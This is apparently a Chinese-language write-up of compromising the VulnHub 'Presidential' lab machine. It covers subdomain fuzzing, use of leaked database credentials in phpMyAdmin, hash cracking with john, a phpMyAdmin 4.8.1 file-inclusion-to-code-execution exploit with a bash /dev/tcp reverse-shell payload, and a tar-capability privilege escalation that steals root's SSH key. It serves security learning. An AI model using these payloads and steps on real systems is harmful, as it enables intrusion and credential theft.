Presidential靶机渗透总结
靶机下载地址:
https://download.vulnhub.com/presidential/Presidential.ova
-
打开靶机,使用nmap扫描出靶机的ip和所有开放的端口
可以看到靶机开放了80端口和2082端口
使用-sV参数查看详细服务
80端口是http服务
2082端口是ssh服务
那么我们先根据80端口打开网站 -
网站上没有发现可以利用的漏洞点,源代码也没有提示的信息
那么我们进行信息收集,目录爆破一波
并没有发现有用的信息
我看网上目录爆破出一个config.php.bak文件,我这里可能是字典不行
这是一个数据库的配置的备份文件$dbUser = "votebox"; $dbPass = "casoj3FFASPsbyoRP"; $dbHost = "localhost"; $dbname = "votebox";
知道数据库的账户密码,但是不知道是什么数据库,也没有开放对应的端口,所以也无法登录,只能使用这个密码去尝试登录2082端口的ssh服务登录失败,允许限制
-
目录爆破无法获得有用的信息,经过发现网站绑定了邮箱,很有可能是域名
将域名添加到hosts文件
再次打开网站
通过域名进行目录爆破,还是没有发现有用的信息
既然域名无法出结果,那么尝试去爆破子域名wfuzz -H 'HOST:FUZZ.votenow.local' -u 'http://192.168.11.135' -w /home/kali/Desktop/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt --hw 854,45
这个字典是网上找的
字典下载地址: https://github.com/danielmiessler/SecLists成功爆破出一个子域名,datasafe.votenow.local
将子域名添加到hosts文件中,然后根据子域名打开网站,发现是phpmyadmin
并且使用前面的config.php.bak文件里面的账号成功登录
用户名: votebox
密码: casoj3FFASPsbyoRP
-
接下来就是根据新网站找到漏洞利用点
在votebox数据库的users表里面发现新用户用户名: admin 密码: $2y$12$d/nOEjKNgk/epF2BeAFaMu8hW4ae3JJk8ITyh48q97awT/G7eQ11i
密码看起来就是加密的,使用john工具进行解密john --wordlist=/usr/share/wordlists/rockyou.txt hash
hash文件里面放的就是密码
成功破解出密码: Stella
但是用户名admin密码Stella,无法登录phpmyadmin,也无法登录ssh,先跳过这个账户
继续找phpmyadmin上有用的点
-
网页上暴漏出phpmyadmin的版本,4.8.1
利用searchsploit直接搜索phpmyadmin得到漏洞
主要使用这个44928.txt,第一个44924.txt我试了下就只有文件包含,并且针对windows版本
44928.txt可以进行远程代码执行
具体使用方法也在文件中写着,使用sql语句执行select ‘<?php phpinfo();exit;?>’ 这个payload然后远程包含session文件
我们试一下,先执行sql语句
找到phpmyadmin的cookie值,这个值是session文件的文件名
sess_ls7k5tk0ham4ls298ad3sega9cjgesup
然后利用poc中的url去访问,这里注意sessions要变成session,poc链中给的是错误的
后面替换成session文件http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_ls7k5tk0ham4ls298ad3sega9cjgesup
成功解析
-
改写poc,让它执行php反弹shell
select '<?php system("bash -i >& /dev/tcp/192.168.11.131/4444 0>&1");exit;?>'
这里需要注意,因为是包含session文件,而session文件存储在cookie中,因此需要重新打开浏览器,重新登录,使用新的cookie来进行文件包含,否则不会执行反弹shell代码
首先我尝试了所有会的提权方法,sudo滥用,suid提权,密码覆盖,计划任务,脏牛等
并没有可以使用的提权方法然后换个思路
之前我们获得了一个admin用户,密码Stella,这里可以切换到admin用户
在admin用户的家目录下,发现了user.txt和notes.txt
这里给到了提示, 使用新命令备份和压缩敏感文件
获取可以利用这个提示来达到提权的作用 -
根据提示,我们需要先找到那个新命令
这里网上别人的办法是先通过一个新的提权方式
capabilities提权查找:/usr/sbin/getcap -r / 2>/dev/null
然后发现有个tarS的命令,很像备份和压缩的新命令
这个新命令的使用方法,也给出了
我们尝试去将root目录给压缩tarS -zcvf /tmp/root.tar /root
切换到tmp目录 cd /tmp 解压root.tar tar -zxvf ./root.tar
在root目录下成功获得了flag -
只是找到了flag,但是我们并没有获取到root的权限
这里root目录下的.ssh目录里面存放了私钥
可以利用ssh的私钥登录
先将id_rsa复制一份出来
然后权限设置为700,必须是700
最后利用-i参数进行ssh得到私钥登录chmod 0700 id_rsa ssh -i id_rsa root@192.168.11.135 -p 2082
成功提权至root